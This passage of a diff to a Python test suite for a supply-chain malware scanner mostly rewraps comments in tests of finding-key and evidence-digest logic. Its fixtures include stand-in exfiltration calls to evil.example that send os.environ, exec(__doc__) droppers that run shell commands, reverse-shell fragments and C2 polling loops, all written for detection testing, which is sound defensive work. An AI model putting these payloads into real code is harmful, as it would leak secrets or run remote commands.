keeps the key+ # stable...base = _mk(sp.CRITICAL,"botocore",@@ -401,8 +388,8 @@ def test_baseline_key_line_shift_stable_but_code_specific():"Env: L612: env = os.environ.copy()\nNetwork: L48: from urllib.request import getproxies",)assert sp._finding_key(base) == sp._finding_key(shifted)- # ...but a NEW payload in the same file/check (different matched code) does- # not inherit the suppression -- this is the supply-chain bypass we close.+ # ...but a NEW payload in the same file/check (different matched code) does not inherit the suppression -- this is+ # the supply-chain bypass we close.malicious = _mk(sp.CRITICAL,"botocore",@@ -625,9 +612,8 @@ def test_the_hf_backoff_suppression_is_narrow():]assert entries, "http_backoff is no longer allowlisted; Security audit is red"- # Digest-pinned, not line-pinned: each evidence carries the sha256 of the span it- # was reviewed against, which is what makes an edit to the loop reopen the- # finding instead of riding the old entry.+ # Digest-pinned, not line-pinned: each evidence carries the sha256 of the span it was reviewed against, which is+ # what makes an edit to the loop reopen the finding instead of riding the old entry.for entry in entries:assert "sha256:" in entry["evidence"], (f"{entry['evidence_hash'][:12]} is not pinned to reviewed code, so any "@@ -639,8 +625,7 @@ def test_the_hf_backoff_suppression_is_narrow():hashes = [e["evidence_hash"] for e in entries]assert len(set(hashes)) == len(hashes), "duplicate entries for the same reviewed span"- # The blast radius. A beaconing loop appended to the same file, under the same- # check, must produce a different key.+ # The blast radius. A beaconing loop appended to the same file, under the same check, must produce a different key.reviewed_src = ("import time\n""import requests\n"@@ -687,10 +672,8 @@ def test_network_check_sees_httpx2():"""for call in ("httpx2.get(u)", "httpx2.post(u)", "httpx2.Client()", "httpx2.AsyncClient()"):assert sp.RE_NETWORK.search(call), call- # the original spelling still matchesfor call in ("httpx.get(u)", "httpx.Client()"):assert sp.RE_NETWORK.search(call), call- # and the widening stays anchored: no bare prefix or unrelated attributefor miss in ("myhttpx.get(u)", "httpx23.get(u)", "httpx2.Timeout(5)"):assert not sp.RE_NETWORK.search(miss), miss@@ -703,16 +686,16 @@ def test_httpx2_secrets_plus_network_is_one_finding():def test_extract_evidence_records_all_matches():- # The whole point of P1: a match appended after the first few must show up- # in the evidence, so it changes the key instead of riding the earlier ones.+ # The whole point of P1: a match appended after the first few must show up in the evidence, so it changes the key+ # instead of riding the earlier ones.src = "import requests\n" + "\n".join(f"requests.get('http://a{i}')" for i in range(6))ev = sp._extract_evidence(src, sp.RE_NETWORK)assert ev.count("requests.get(") == 6def test_baseline_key_reopens_on_appended_match():- # A reviewed file already trips a check with several matches; a later exfil- # call appended to the same file/check must reopen the finding.+ # A reviewed file already trips a check with several matches; a later exfil call appended to the same file/check+ # must reopen the finding.base_src = "import requests\n" + "\n".join(f"requests.get('http://a{i}')" for i in range(3))payload_src = base_src + "\nrequests.post('https://evil.example/exfil', data=os.environ)"base = _mk(sp.CRITICAL, "p", "p/net.py", "net", sp._extract_evidence(base_src, sp.RE_NETWORK))@@ -723,39 +706,36 @@ def test_baseline_key_reopens_on_appended_match():def test_baseline_key_inner_line_marker_is_not_stripped():- # Only the leading L<NN>: marker is dropped; an L<NN>: inside the matched- # code is part of the code, so changing it must reopen the finding...+ # Only the leading L<NN>: marker is dropped; an L<NN>: inside the matched code is part of the code, so changing it+ # must reopen the finding...a = _mk(sp.CRITICAL, "p", "p/u.py", "c", "L10: url = 'http://h/L42:/p'")b = _mk(sp.CRITICAL, "p", "p/u.py", "c", "L10: url = 'http://h/L7:/p'")assert sp._finding_key(a) != sp._finding_key(b)- # ...while only the leading marker (line number) changing stays stable.c = _mk(sp.CRITICAL, "p", "p/u.py", "c", "L55: url = 'http://h/L42:/p'")assert sp._finding_key(a) == sp._finding_key(c)def test_baseline_key_indentation_is_significant():- # Moving a flagged line out of a guarded block (dedent) changes executable- # context, so the same code at a different indent must reopen the finding.+ # Moving a flagged line out of a guarded block (dedent) changes executable context, so the same code at a different+ # indent must reopen the finding.guarded = _mk(sp.CRITICAL, "p", "p/x.py", "c", "L5: requests.get(url)")top_level = _mk(sp.CRITICAL, "p", "p/x.py", "c", "L5: requests.get(url)")assert sp._finding_key(guarded) != sp._finding_key(top_level)def test_canon_evidence_keeps_bitwise_or_in_a_span():- # ' | ' only delimits spans when it precedes an L<NN>: marker; a pipe inside- # matched code (bitwise OR, typing.Union) is code, so changing an operand- # must reopen the finding instead of deduping to the same key.+ # ' | ' only delimits spans when it precedes an L<NN>: marker;+ # a pipe inside matched code (bitwise OR, typing.Union) is code, so changing an operand must reopen the finding+ # instead of deduping to the same key.a = _mk(sp.CRITICAL, "p", "p/x.py", "c", "L5: mode = os.O_RDONLY | os.O_CLOEXEC")b = _mk(sp.CRITICAL, "p", "p/x.py", "c", "L5: mode = os.O_RDONLY | os.O_EVIL")assert sp._finding_key(a) != sp._finding_key(b)- # The OR survives canonicalization as one span (not split on the pipe).assert sp._canon_evidence("L5: a = X | Y") == "a = X | Y"def test_extract_evidence_caps_long_line_but_binds_tail():- # A long (e.g. minified) line is not dumped verbatim: the display is bounded to- # a prefix, but a sha256 of the full line is appended so a payload past the cut- # still changes the key instead of being silently clipped.+ # A long (e.g. minified) line is not dumped verbatim: the display is bounded to a prefix, but a sha256 of the+ # full line is appended so a payload past the cut still changes the key instead of being silently clipped.marker = "EXFIL_PAST_CAP"pad = "# " + " " * 300line = "requests.get('http://a') " + pad + marker@@ -768,9 +748,8 @@ def test_extract_evidence_caps_long_line_but_binds_tail():def test_extract_evidence_binds_call_continuation_past_12_lines():- # A matched call that stays open well beyond the old 12-line continuation cap- # still binds its later arguments: a changed body on a deep continuation line- # (here ~22 lines in) must reopen instead of riding the first 12 lines.+ # A matched call that stays open well beyond the old 12-line continuation cap still binds its later arguments: a+ # changed body on a deep continuation line (here ~22 lines in) must reopen instead of riding the first 12 lines.head = "requests.post('http://h',\n"middle = "".join(f" opt{i} = ({i}),\n" for i in range(20))old = head + middle + " data = {'x': 'old'},\n)\n"@@ -781,9 +760,8 @@ def test_extract_evidence_binds_call_continuation_past_12_lines():def test_logical_line_end_follows_backslash_continuation():- # A call split with an explicit backslash before the parenthesis must still- # bind the continuation line, so changing the URL on the next physical line- # reopens instead of returning at the zero-depth API line.+ # A call split with an explicit backslash before the parenthesis must still bind the continuation line, so changing+ # the URL on the next physical line reopens instead of returning at the zero-depth API line.old = "requests.post \\\n ('http://old/x', data = 1)\n"new = "requests.post \\\n ('http://evil/x', data = 1)\n"eo = sp._extract_evidence(old, sp.RE_NETWORK)@@ -822,9 +800,8 @@ def test_extract_evidence_binds_call_embedded_in_string():def test_extract_evidence_overflow_digest_is_line_shift_stable():- # The overflow digest canonicalizes (strips L<NN>: markers), so inserting an- # unrelated line above the overflow region does not change it (line-shift- # stability), while a real payload change inside the overflow still reopens.+ # The overflow digest canonicalizes (strips L<NN>: markers), so inserting an unrelated line above the overflow+ # region does not change it, while a real payload change inside the overflow still reopens.n = sp._MAX_EVIDENCE_SPANSsrc = "\n".join(f"requests.get('http://a/p{i}')" for i in range(n + 5))sha = lambda e: re.search(r"more\) sha256:([0-9a-f]+)", e).group(1)@@ -837,17 +814,14 @@ def test_extract_evidence_overflow_digest_is_line_shift_stable():def test_extract_evidence_overflow_is_streamed_and_bounded():- # Past the display cap the evidence streams overflow spans into one digest- # instead of materializing a rendered span per match, so a file with far more- # matches than the cap yields a bounded string (at most cap spans plus the- # "(+N more)" digest line) while N counts every overflow match and a change to- # an over-cap match still reopens.+ # Past the display cap the evidence streams overflow spans into one digest instead of materializing a rendered span+ # per match, so the string stays bounded (at most cap spans plus the "(+N more)" digest) while N counts every+ # overflow match and a change to an over-cap match still reopens.n = sp._MAX_EVIDENCE_SPANSsrc = "\n".join(f"requests.get('http://a/p{i}')" for i in range(n + 500))ev = sp._extract_evidence(src, sp.RE_NETWORK)assert ev.count(" sha256:") == 1 # only the overflow digest, no per-span digestsassert "(+500 more)" in ev # every match past the cap is counted- # bounded: exactly cap rendered spans plus the single "(+N more)" markerassert len(ev.split(" | ")) == n + 1sha = lambda e: re.search(r"more\) sha256:([0-9a-f]+)", e).group(1)chg = sp._extract_evidence(src.replace(f"a/p{n + 200}'", "a/pEVIL'"), sp.RE_NETWORK)@@ -855,11 +829,10 @@ def test_extract_evidence_overflow_is_streamed_and_bounded():def test_extract_evidence_same_line_close_then_open_binds_call():- # A continued statement that closes on the same physical line that opens a- # flagged call, e.g. `]; requests.post(`, nets to <= 0 under a plain bracket- # count, dropping the call's `(` so the scan would stop at the opener line.- # Order-aware counting keeps the opener, so the argument lines bind and a- # changed body on a continuation line reopens.+ # A continued statement that closes on the same physical line that opens a flagged call, e.g. `]; requests.post(`,+ # nets to <= 0 under a plain bracket count, dropping the call's `(` so the scan would stop at the opener line.+ # Order-aware counting keeps the opener, so the argument lines bind and a changed body on a continuation line+ # reopens.old = "x = [a]; requests.post(\n 'http://h/old',\n data=secret,\n)\n"new = "x = [a]; requests.post(\n 'http://h/old',\n data=EVIL,\n)\n"assert sp._evidence_hash(sp._extract_evidence(old, sp.RE_NETWORK)) != sp._evidence_hash(@@ -893,9 +866,8 @@ def test_extract_evidence_long_call_tail_past_soft_cap_reopens():def test_extract_evidence_fallback_line_numbers_are_correct():- # The DOTALL fallback maps match offsets to line numbers via precomputed- # newline offsets (bisect, not a quadratic content.count per match); guard that- # the mapping is exact so a cross-line match is recorded at its true line and a+ # The DOTALL fallback maps match offsets to line numbers via precomputed newline offsets (bisect, not a quadratic+ # content.count per match); guard that the mapping is exact so a cross-line match is recorded at its true line and a# changed continuation reopens.content = "x = 1\ny = 2\nwhile True:\n time.sleep(60)\n requests.get('http://a/old')\n"e1 = sp._extract_evidence(content, sp.RE_C2_POLLING)@@ -905,9 +877,8 @@ def test_extract_evidence_fallback_line_numbers_are_correct():def test_large_js_bundle_pins_whole_content_when_other_finding_fires():- # A >100 KB JS bundle that also trips the hex-var obfuscation signature binds- # the whole bundle, so changing payload code elsewhere (obfuscation line- # unchanged) reopens rather than riding the matched signature line.+ # A >100 KB JS bundle that also trips the hex-var obfuscation signature binds the whole bundle, so changing payload+ # code elsewhere (obfuscation line unchanged) reopens rather than riding the matched signature line.obf = "var _0xabcd = function(){};\n"pad = "// filler\n" * 11000 # push the file over the 100 KB large-bundle barfo = sp.check_js_file(obf + pad + "var payload = 'old';\n", "pkg/bundle.js", "pkg")@@ -919,9 +890,8 @@ def test_large_js_bundle_pins_whole_content_when_other_finding_fires():def test_pth_catch_all_import_evidence_is_bounded_but_reopens():- # A large .pth made only of benign-looking imports is bounded in the evidence- # (prefix plus digest), not dumped in full, yet still reopens when an import- # line changes because the digest covers every line.+ # A large .pth made only of benign-looking imports is bounded in the evidence (prefix plus digest), not dumped in+ # full, yet still reopens when an import line changes because the digest covers every line.base = "".join(f"import mod{i}\n" for i in range(200))fo = [f@@ -939,8 +909,8 @@ def test_pth_catch_all_import_evidence_is_bounded_but_reopens():def test_extract_evidence_records_all_multiline_matches():- # The DOTALL fallback must record every distinct cross-line match, so a second- # long-sleep appended below an already-flagged one reopens the finding.+ # The DOTALL fallback must record every distinct cross-line match, so a second long-sleep appended below an+ # already-flagged one reopens the finding.one = "foo = time.sleep(\n 600\n)\n"two = one + "bar = time.sleep(\n 900\n)\n"ev1 = sp._extract_evidence(one, sp.RE_ANTI_ANALYSIS)@@ -950,8 +920,8 @@ def test_extract_evidence_records_all_multiline_matches():def test_multiline_evidence_reopens_on_continuation_change():- # A DOTALL match records every line it spans, so changing the URL inside an- # already-flagged C2 loop (a continuation line) reopens the finding...+ # A DOTALL match records every line it spans, so changing the URL inside an already-flagged C2 loop (a continuation+ # line) reopens the finding...old = "while True:\n time.sleep(60)\n requests.get('http://old.example/poll')\n"new = "while True:\n time.sleep(60)\n requests.get('http://evil.example/c2')\n"fo = _mk(@@ -969,7 +939,6 @@ def test_multiline_evidence_reopens_on_continuation_change():sp._extract_evidence(new, sp.RE_C2_POLLING),)assert sp._finding_key(fo) != sp._finding_key(fn)- # ...while a benign line shift of the same loop stays stable.shifted = _mk(sp.CRITICAL,"p",@@ -981,16 +950,16 @@ def test_multiline_evidence_reopens_on_continuation_change():def test_extract_evidence_bounds_pathological_multiline_span():- # A greedy DOTALL span is capped to its head line plus a digest of the rest,- # so evidence stays bounded while still binding the full match.+ # A greedy DOTALL span is capped to its head line plus a digest of the rest, so evidence stays bounded while still+ # binding the full match.big = "vmware\n" + "x\n" * 50 + "detect\n"ev = sp._extract_evidence(big, sp.RE_ANTI_ANALYSIS)assert "sha256:" in ev and ev.count("\n") <= 1def test_canon_evidence_keeps_duplicate_spans():- # A second identical matched line in a new code path must change the key, so- # an appended duplicate payload occurrence is not deduped to the same hash.+ # A second identical matched line in a new code path must change the key, so an appended duplicate payload+ # occurrence is not deduped to the same hash.one = " requests.post(url, data=env)"base = _mk(sp.CRITICAL, "p", "p/x.py", "c", f"L2: {one}")dup = _mk(sp.CRITICAL, "p", "p/x.py", "c", f"L2: {one} | L5: {one}")@@ -998,8 +967,8 @@ def test_canon_evidence_keeps_duplicate_spans():def test_canon_evidence_does_not_strip_inner_marker_from_raw_code():- # Raw .pth evidence has no leading L<NN>: marker; an L<NN>:-looking substring- # inside the code must be kept, so changing the code before it reopens.+ # Raw .pth evidence has no leading L<NN>: marker; an L<NN>:-looking substring inside the code must be kept, so+ # changing the code before it reopens.base = _mk(sp.HIGH,"p",@@ -1018,8 +987,8 @@ def test_canon_evidence_does_not_strip_inner_marker_from_raw_code():def test_capped_multiline_digest_is_line_shift_stable():- # A span over the cap is digested from markerless code, so a pure line shift- # of the same span stays stable while a code change still reopens.+ # A span over the cap is digested from markerless code, so a pure line shift of the same span stays stable while a+ # code change still reopens.src = ("while True:\n"+ " x = 1\n" * 20@@ -1036,16 +1005,15 @@ def test_capped_multiline_digest_is_line_shift_stable():def test_canon_evidence_strips_punctuation_label_marker():- # A label with punctuation (network+exec:) must still be stripped, so the- # line number alone does not change the key.+ # A label with punctuation (network+exec:) must still be stripped, so the line number alone does not change the key.a = "network+exec: L12: subprocess.run(['id'])"b = "network+exec: L99: subprocess.run(['id'])"assert sp._evidence_hash(a) == sp._evidence_hash(b)def test_extract_evidence_binds_call_continuation_lines():- # A multi-line network call binds its argument lines, so a changed URL on a- # continuation line reopens even though the line with the API name is unchanged.+ # A multi-line network call binds its argument lines, so a changed URL on a continuation line reopens even though+ # the line with the API name is unchanged.old = "requests.post(\n 'http://old.example',\n data=env,\n)\n"new = "requests.post(\n 'http://evil.example',\n data=env,\n)\n"eo = sp._extract_evidence(old, sp.RE_NETWORK)@@ -1066,14 +1034,12 @@ def test_extract_evidence_records_multiline_after_oneline():def test_extract_evidence_giant_span_binds_full_interior():- # A giant greedy DOTALL span bridging anchors across the whole file is bound by- # a digest of its full content (not just the outer anchors), so a cross-line- # payload inserted into the bridged interior between unchanged outer anchors- # reopens instead of riding the key. (Binding only head/tail would fail open on- # an interior insertion.) A pure line shift still stays stable.+ # A giant greedy DOTALL span bridging anchors across the whole file is bound by a digest of its full content (not+ # just the outer anchors), so a cross-line payload inserted into the bridged interior between unchanged outer+ # anchors reopens instead of riding the key. (Binding only head/tail would fail open on an interior insertion.) A+ # pure line shift still stays stable.gap = "\n".join(f" x = {i}" for i in range(70))base = "import socket\nsock.connect(addr)\n" + gap + "\nos.dup2(fd, 0)\nsubprocess.Popen(cmd)\n"- # interior insertion of a cross-line payload between the unchanged outer anchorsinjected = base.replace(" x = 35", " x = 35\n sock.connect(evilhost)")ea = sp._extract_evidence(base, sp.RE_REVERSE_SHELL)ei = sp._extract_evidence(injected, sp.RE_REVERSE_SHELL)@@ -1084,27 +1050,24 @@ def test_extract_evidence_giant_span_binds_full_interior():def test_extract_evidence_giant_span_appended_payload_reopens():- # The anchor binding must reopen when an appended cross-line payload extends the- # bridged span past the cap: an existing one-line /tmp+subprocess finding plus a- # NEW /tmp/evil line and a later subprocess.run (60+ lines apart, sharing no- # single line so the per-line pass never binds them) moves the span's tail- # anchor, so the evidence changes instead of riding the unchanged key.+ # The anchor binding must reopen when an appended cross-line payload extends the bridged span past the cap: an+ # existing one-line /tmp+subprocess finding plus a NEW /tmp/evil line and a later subprocess.run (60+ lines apart,+ # sharing no single line so the per-line pass never binds them) moves the span's tail anchor, so the evidence+ # changes instead of riding the unchanged key.existing = "import os\n/tmp/x; subprocess.run(['id'])\n"gap = "\n".join(f" pad{i} = {i}" for i in range(65))appended = existing + "/tmp/evil\n" + gap + "\nsubprocess.run(['curl', 'evil'])\n"base = sp._extract_evidence(existing, sp.RE_TEMP_EXEC)app = sp._extract_evidence(appended, sp.RE_TEMP_EXEC)assert sp._evidence_hash(base) != sp._evidence_hash(app)- # a pure line shift of the same payload does not reopenshifted = sp._extract_evidence("\n\n" + appended, sp.RE_TEMP_EXEC)assert sp._evidence_hash(app) == sp._evidence_hash(shifted)def test_hidden_payload_binds_visible_exec_trigger():- # The hidden-payload finding binds the visible exec/eval line that makes the- # docstring runnable, so flipping a harmless eval("1+1") to exec(__doc__) (which- # now runs the same hidden network+exec payload) reopens instead of riding the- # key on the unchanged hidden text.+ # The hidden-payload finding binds the visible exec/eval line that makes the docstring runnable, so flipping a+ # harmless eval("1+1") to exec(__doc__) (which now runs the same hidden network+exec payload) reopens instead of+ # riding the key on the unchanged hidden text.hidden = '"""\nimport requests; requests.get("http://evil")\nsubprocess.run(["sh"])\n"""\n'benign = hidden + 'eval("1+1")\n'armed = hidden + "exec(__doc__)\n"@@ -1133,9 +1096,8 @@ def test_js_finding_pins_full_content_digest():def test_extract_evidence_binds_moderate_appended_dotall_span():- # A multi-line construct appended under a check that already has a one-line- # match is still recorded when it is not a giant whole-file bridge, so its- # payload reopens instead of riding the old one-line match.+ # A multi-line construct appended under a check that already has a one-line match is still recorded when it is not a+ # giant whole-file bridge, so its payload reopens instead of riding the old one-line match.one = "while True: time.sleep(60); requests.get('http://a/poll')\n"gap = "\n".join(f" x = {i}" for i in range(20))old = one + "while True:\n" + gap + "\n requests.get('http://old/c2')\n"@@ -1146,16 +1108,16 @@ def test_extract_evidence_binds_moderate_appended_dotall_span():def test_canon_evidence_reorder_reopens():- # Reordering matched lines changes executable context, so the key reopens- # (the canon preserves discovery order rather than sorting).+ # Reordering matched lines changes executable context, so the key reopens (the canon preserves discovery order+ # rather than sorting).a = "Net: L10: requests.post(url)\nEnv: L20: env = os.environ.copy()"b = "Env: L20: env = os.environ.copy()\nNet: L10: requests.post(url)"assert sp._evidence_hash(a) != sp._evidence_hash(b)def test_logical_line_end_ignores_brackets_in_strings():- # A ) inside a string argument must not close the call early, so later- # argument lines still bind and a changed payload there reopens.+ # A ) inside a string argument must not close the call early, so later argument lines still bind and a changed+ # payload there reopens.old = "requests.post('http://h/p)',\n data=secret_old,\n)\n"new = "requests.post('http://h/p)',\n data=secret_new,\n)\n"eo = sp._extract_evidence(old, sp.RE_NETWORK)@@ -1165,8 +1127,8 @@ def test_logical_line_end_ignores_brackets_in_strings():def test_base64_exec_blob_finding_binds_every_blob():- # The base64+exec+blob finding digests every blob, so appending a second- # encoded payload reopens even when the first blob and decode line are unchanged.+ # The base64+exec+blob finding digests every blob, so appending a second encoded payload reopens even when the first+ # blob and decode line are unchanged.head = "import base64\nblob1 = '" + "A" * 220 + "'\nexec(base64.b64decode(blob1))\n"old = headnew = head + "blob2 = '" + "B" * 220 + "'\n"@@ -1177,8 +1139,8 @@ def test_base64_exec_blob_finding_binds_every_blob():def test_pth_large_blob_finding_binds_every_blob():- # The .pth large-blob finding digests every blob, so appending a second- # encoded payload reopens rather than riding the unchanged first blob.+ # The .pth large-blob finding digests every blob, so appending a second encoded payload reopens rather than riding+ # the unchanged first blob.old = "import os\n" + "X" * 220 + "\n"new = old + "Y" * 220 + "\n"fo = [f for f in sp.check_pth_file(old, "p/x.pth", "p") if "large base64-like blob" in f.check]@@ -1188,8 +1150,8 @@ def test_pth_large_blob_finding_binds_every_blob():def test_pth_unusually_large_finding_is_content_bound():- # Two different payloads of equal size and import count must get different- # keys: the finding now pins the .pth content via a digest.+ # Two different payloads of equal size and import count must get different keys: the finding now pins the .pth+ # content via a digest.a = [ffor f in sp.check_pth_file("import abc; n=" + repr("!" * 500), "p/x.pth", "p")@@ -1206,8 +1168,8 @@ def test_pth_unusually_large_finding_is_content_bound():def test_js_token_network_finding_binds_network_evidence():- # The JS stealer combo records both the token AND the network call, so a- # changed exfil endpoint reopens (RE_NETWORK-recognized call used here).+ # The JS stealer combo records both the token AND the network call, so a changed exfil endpoint reopens+ # (RE_NETWORK-recognized call used here).old = "const t='ghp_AAAAAAAAAAAAAAAAAAAAAAAA';\nrequests.get('http://old.example');\n"new = "const t='ghp_AAAAAAAAAAAAAAAAAAAAAAAA';\nrequests.get('http://evil.example');\n"fo = [f for f in sp.check_js_file(old, "p/p.js", "p") if "stealer" in f.check]@@ -1218,9 +1180,8 @@ def test_js_token_network_finding_binds_network_evidence():def test_embedded_pem_key_body_change_reopens():- # The embedded-key evidence pins the full PEM block via a digest, so swapping- # the key body under the same BEGIN/END markers reopens the finding instead- # of riding the unchanged marker line.+ # The embedded-key evidence pins the full PEM block via a digest, so swapping the key body under the same BEGIN/END+ # markers reopens the finding instead of riding the unchanged marker line.head = "-----BEGIN RSA PRIVATE KEY-----\n"tail = "\n-----END RSA PRIVATE KEY-----"net = "\nrequests.get('http://c2.example')\n"@@ -1242,8 +1203,8 @@ def test_embedded_pem_key_body_change_reopens():def test_shell_combos_bind_network_evidence():- # Both shell combos record their network/exec side, so a changed endpoint- # reopens instead of riding the unchanged token or hook line.+ # Both shell combos record their network/exec side, so a changed endpoint reopens instead of riding the unchanged+ # token or hook line.old = "token='ghp_AAAAAAAAAAAAAAAAAAAAAAAA'\nrequests.get('http://old.example')\n"new = "token='ghp_AAAAAAAAAAAAAAAAAAAAAAAA'\nrequests.get('http://evil.example')\n"to = [@@ -1276,8 +1237,8 @@ def test_shell_combos_bind_network_evidence():def test_hidden_network_exec_reopens_on_endpoint_change():- # The hidden network+exec payload binds both the network and the exec signal,- # so changing the docstring exfil URL reopens the finding.+ # The hidden network+exec payload binds both the network and the exec signal, so changing the docstring exfil URL+ # reopens the finding.old = ('"""\nimport urllib.request, os\nurllib.request.urlopen("http://old/x").read()\n''os.system("sh -c id")\n"""\nexec(__doc__)\n'@@ -1293,8 +1254,8 @@ def test_hidden_network_exec_reopens_on_endpoint_change():def test_base64_exec_blob_combo_binds_blob_digest():- # The blob may sit on a separate line from the decode call; the finding now- # digests it, so a changed payload reopens even with unchanged base64/exec.+ # The blob may sit on a separate line from the decode call; the finding now digests it, so a changed payload reopens+ # even with unchanged base64/exec.b1 = "BLOB = '" + "A" * 300 + "'\nimport base64\nexec(base64.b64decode(BLOB))\n"b2 = "BLOB = '" + "B" * 300 + "'\nimport base64\nexec(base64.b64decode(BLOB))\n"f1 = [f for f in sp.check_py_file(b1, "p/m.py", "p") if "large encoded blob" in f.check]@@ -1305,8 +1266,8 @@ def test_base64_exec_blob_combo_binds_blob_digest():def test_openssl_key_combo_binds_key_evidence():- # openssl + embedded key with no network must bind the key, so a changed key- # reopens instead of riding the OpenSSL line alone.+ # openssl + embedded key with no network must bind the key, so a changed key reopens instead of riding the OpenSSL+ # line alone.o1 = 'import os\nos.system("openssl enc -aes-256-cbc -in d -out e")\nKEY = "-----BEGIN PRIVATE KEY-----A"\n'o2 = 'import os\nos.system("openssl enc -aes-256-cbc -in d -out e")\nKEY = "-----BEGIN PRIVATE KEY-----B"\n'g1 = [f for f in sp.check_py_file(o1, "p/o.py", "p") if "openssl encryption" in f.check]@@ -1317,8 +1278,8 @@ def test_openssl_key_combo_binds_key_evidence():def test_anti_analysis_combo_binds_suspicious_side():- # The anti-analysis combo records the network/exec side, so a changed exfil- # endpoint reopens instead of riding the unchanged sleep/trace line.+ # The anti-analysis combo records the network/exec side, so a changed exfil endpoint reopens instead of riding the+ # unchanged sleep/trace line.old = "import time, requests\ntime.sleep(600)\nrequests.get('http://old.example')\n"new = "import time, requests\ntime.sleep(600)\nrequests.get('http://evil.example/exfil')\n"fo = [@@ -1337,8 +1298,8 @@ def test_anti_analysis_combo_binds_suspicious_side():def test_dns_exfil_combo_binds_other_side():- # The DNS exfil combo records the co-occurring network side, so a changed- # endpoint reopens instead of riding the unchanged DNS line.+ # The DNS exfil combo records the co-occurring network side, so a changed endpoint reopens instead of riding the+ # unchanged DNS line.old = "import dns.resolver\ndns.resolver.resolve('x.old.com','TXT')\nrequests.get('http://old.example')\n"new = "import dns.resolver\ndns.resolver.resolve('x.old.com','TXT')\nrequests.get('http://evil.example/x')\n"fo = [@@ -1356,9 +1317,6 @@ def test_dns_exfil_combo_binds_other_side():def test_large_js_bundle_finding_is_content_bound():- # A large benign JS bundle yields a HIGH carrying a content digest, not empty- # evidence: two different bundles in the same size bucket get different keys,- # so a malicious bundle cannot ride a baselined empty-evidence entry.big_a = "var x = 1;\n" * 20000 # ~200 KB, benignbig_b = big_a + "var exfil = 2;\n" # different content, same size bucketja = [f for f in sp.check_js_file(big_a, "pkg/bundle.js", "pkg") if "JS bundle" in f.check]@@ -1369,8 +1327,8 @@ def test_large_js_bundle_finding_is_content_bound():def test_pth_large_blob_finding_is_content_bound():- # The .pth base64-blob evidence pins the full blob via a digest, so a payload- # that keeps the first 120 chars but changes the tail reopens the finding.+ # The .pth base64-blob evidence pins the full blob via a digest, so a payload that keeps the first 120 chars but+ # changes the tail reopens the finding.head = "A" * 120a = [f@@ -1388,8 +1346,8 @@ def test_pth_large_blob_finding_is_content_bound():def test_pth_import_lines_record_all_not_first_five():- # All executable import lines are recorded, so swapping the sixth import for a- # malicious one (first five unchanged) still reopens the catch-all finding.+ # All executable import lines are recorded, so swapping the sixth import for a malicious one (first five unchanged)+ # still reopens the catch-all finding.base = "".join(f"import mod{i}\n" for i in range(6))swapped = "".join(f"import mod{i}\n" for i in range(5)) + "import evil\n"fb = [f for f in sp.check_pth_file(base, "p/x.pth", "p") if "executable import line" in f.check]@@ -1401,8 +1359,8 @@ def test_pth_import_lines_record_all_not_first_five():def test_load_baseline_warns_on_missing_evidence_hash(tmp_path, capsys):- # A legacy baseline predating evidence_hash still loads (hash recomputed) but- # must WARN so the maintainer regenerates rather than degrade silently.+ # A legacy baseline predating evidence_hash still loads (hash recomputed) but must WARN so the maintainer+ # regenerates rather than degrade silently.import jsonbl = tmp_path / "legacy.json"@@ -1431,7 +1389,6 @@ def test_fstring_statement_is_not_blanked():# A bare f-string evaluates at import, so it must stay scannable.src = "f\"{__import__('os').system('id')}\"\n"assert "__import__" in sp._strip_noncode(src)- # A plain bare docstring is blanked.plain = "'a docstring mentioning subprocess.Popen'\n"assert "subprocess" not in sp._strip_noncode(plain)@@ -1441,16 +1398,14 @@ def test_exec_with_payload_hidden_in_docstring_flagged():src = '"""' + blob + '"""\nimport os\nexec(__doc__)\n'findings = sp.check_py_file(src, "pkg/mod.py", "pkg")assert any("hidden in a docstring" in f.check for f in findings)- # No exec/eval -> the blanked blob produces no such finding.src2 = '"""' + blob + '"""\nimport os\n'findings2 = sp.check_py_file(src2, "pkg/mod.py", "pkg")assert not any("hidden in a docstring" in f.check for f in findings2)def test_hidden_network_plus_exec_payload_flagged():- # exec(__doc__) dropper: the docstring (blanked by code-only scanning) holds- # BOTH a network fetch and an os/shell exec. Neither is a blob, but together- # they are the payload, so the gate must flag the pair.+ # exec(__doc__) dropper: the docstring (blanked by code-only scanning) holds BOTH a network fetch and an os/shell+ # exec. Neither is a blob, but together they are the payload, so the gate must flag the pair.payload = ("import urllib.request, os\n""urllib.request.urlopen('http://x/y').read()\n"@@ -1462,8 +1417,6 @@ def test_hidden_network_plus_exec_payload_flagged():def test_real_code_network_and_subprocess_not_hidden_combo():- # Both calls live in REAL code (covered by the normal checks); the hidden- # network+exec combo must NOT also fire on them.src = ("import subprocess, urllib.request\n""def run():\n"@@ -1476,8 +1429,8 @@ def test_real_code_network_and_subprocess_not_hidden_combo():def test_hidden_payload_survives_visible_decoy():- # A benign visible network call must not mask a docstring payload: the- # detector inspects the removed (blanked) span, not the whole stripped file.+ # A benign visible network call must not mask a docstring payload: the detector inspects the removed (blanked)+ # span, not the whole stripped file.payload = ("import urllib.request, os\n""urllib.request.urlopen('http://evil/x').read()\n"@@ -1572,8 +1525,8 @@ def test_load_baseline_missing_file_is_empty():def test_load_baseline_rejects_non_list_entries(tmp_path, capsys):- # A malformed baseline whose "entries" is not a list must warn and fail- # closed (empty), not raise TypeError when iterated.+ # A malformed baseline whose "entries" is not a list must warn and fail closed (empty), not raise TypeError when+ # iterated.import jsonbl = tmp_path / "bad_entries.json"@@ -1600,15 +1553,14 @@ def test_committed_baseline_suppresses_known_but_not_a_new_payload():)baseline = sp._load_baseline(str(baseline_path))- # The exact reviewed finding is suppressed.benign = _mk(target["severity"], target["package"], target["file"], target["check"], target["evidence"])active, suppressed = sp._partition_baseline([benign], baseline)assert suppressed == [benign] and active == []- # A future malicious version: same file, same check, new exfil code. Must- # remain ACTIVE so the enforcing gate (exit 1) still trips.+ # A future malicious version: same file, same check, new exfil code.+ # Must remain ACTIVE so the enforcing gate (exit 1) still trips.malicious = _mk(target["severity"],target["package"],@@ -1637,10 +1589,8 @@ def test_committed_baseline_entries_all_carry_evidence_hash():assert e["evidence_hash"] == sp._evidence_hash(e["evidence"]), e["file"]-# sdist fallback: cover sdist-only packages without building. All offline-# -- PyPI JSON / download are mocked.--+# sdist fallback: cover sdist-only packages without building.+# PyPI JSON / download are mocked.class _FakeResp:"""Minimal urlopen() context-manager stand-in."""@@ -1742,16 +1692,16 @@ def test_marker_holds_by_default():def test_requires_dist_for_fails_closed_on_missing_pin_metadata(monkeypatch):- # The pinned release's own metadata cannot be fetched -> recover nothing- # rather than substituting the latest release's (wrong) dependency tree.+ # The pinned release's own metadata cannot be fetched -> recover nothing rather than substituting the latest+ # 